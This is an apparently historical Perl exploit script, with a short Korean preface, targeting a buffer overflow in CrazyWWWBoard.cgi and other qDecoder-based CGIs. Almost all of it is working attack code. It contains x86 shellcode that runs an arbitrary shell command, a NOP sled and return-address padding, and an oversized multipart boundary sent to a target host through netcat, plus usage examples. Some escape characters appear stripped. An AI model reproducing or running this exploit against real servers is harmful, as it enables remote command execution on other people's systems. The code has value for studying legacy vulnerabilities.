#nobreak 사에서 개발하여 많이 사용되어지고 있는

#CrazyWWWBoard.cgi 를 Buffer Overflow 공격하는

#Perl 소스입니다.

#

#!/usr/bin/perl

# crazy.pl

#

# CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux

#

# CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter

# over 254 characters in the header "Content-Type: multipart/form-data".

#

# nc, the netcat program is required.

#

# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 03/26/2000



$nc_path = "nc"; # path of netcat program



$usage =

"usage: crazy.pl [options] CGI-URLn

CGI-URL URL of the target CGI

-c command Bourne shell command

Default: '/bin/echo 00ps, Crazy!'

-o offset Offset of the egg shell code,

Recommended [-300,+300]



example)

crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi

crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi

crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \

target.com/cgi-bin/vulnerable.cgi



";



require 'getopt.pl';

Getopt('oc');



if ($#ARGV < 0) {

print $usage;

exit(0);

};



$cgiurl = $ARGV[0];

$command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!";

$offset = $opt_o ? $opt_o : 0;



$cgiurl =~ s/http:////;

($host, $cgiuri) = split(///, $cgiurl, 2);

($host, $port) = split(/:/, $host);

$port = 80 unless $port;

$command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";

$cmdlen = length($command);

$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;

$shellcode =

"xebx37" # jmp 0x37

. "x5e" # popl %esi

. "x89x76" . pack(C, $argvp) # movl %esi,0xb(%esi)

. "x89xf0" # movl %esi,%eax

. "x83xc0x08" # addl $0x8,%eax

. "x89x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi)

. "x89xf0" # movl %esi,%eax

. "x83xc0x0b" # addl $0xb,%eax

. "x89x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi)

. "x31xc0" # xorl %eax,%eax

. "x88x46x07" # movb %eax,0x7(%esi)

. "x4e" # dec %esi

. "x88x46x0b" # movb %eax,0xb(%esi)

. "x46" # inc %esi

. "x88x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi)

. "x89x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi)

. "xb0x0b" # movb $0xb,%al

. "x89xf3" # movl %esi,%ebx

. "x8dx4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx

. "x8dx56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx

. "xcdx80" # int 0x80

. "x31xdb" # xorl %ebx,%ebx

. "x89xd8" # movl %ebx,%eax

. "x40" # inc %eax

. "xcdx80" # int 0x80

. "xe8xc4xffxffxff" # call -0x3c

. "/bin/sh0-c0" # .string "/bin/sh0-c0"

. $command;



$offset -= length($command) / 2 + length($host . $port , $cgiurl);

$shelladdr = 0xbffffbd0 + $offset;

$noplen = 242 - length($shellcode);

$jump = $shelladdr + $noplen / 2;

$entries = $shelladdr + 250;

$egg = "x90" x $noplen . $shellcode . pack(V, $jump) x 9

. pack(V, $entries) x 2 . pack(V, $jump) x 2;



$content = substr($egg, 254) .

"--rnContent-Disposition: form-data; name="0"rnrn0rn--$egg--rn";

$contentlength = length($content);



printf STDERR "Jump to 0x%xn", $jump;



open(HTTP, "|$nc_path $host $port");

select(HTTP); $|= 1;

print HTTP <__HEADER__;

POST /$cgiuri HTTP/1.0

Connection: Keep-Alive

User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)

Host: $host:$port

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

Accept-Encoding: gzip

Accept-Language: ko

Accept-Charset: euc-kr,*,utf-8

Content-type: multipart/form-data; boundary=$egg

Content-length: $contentlength



$content

__HEADER__

close(HTTP);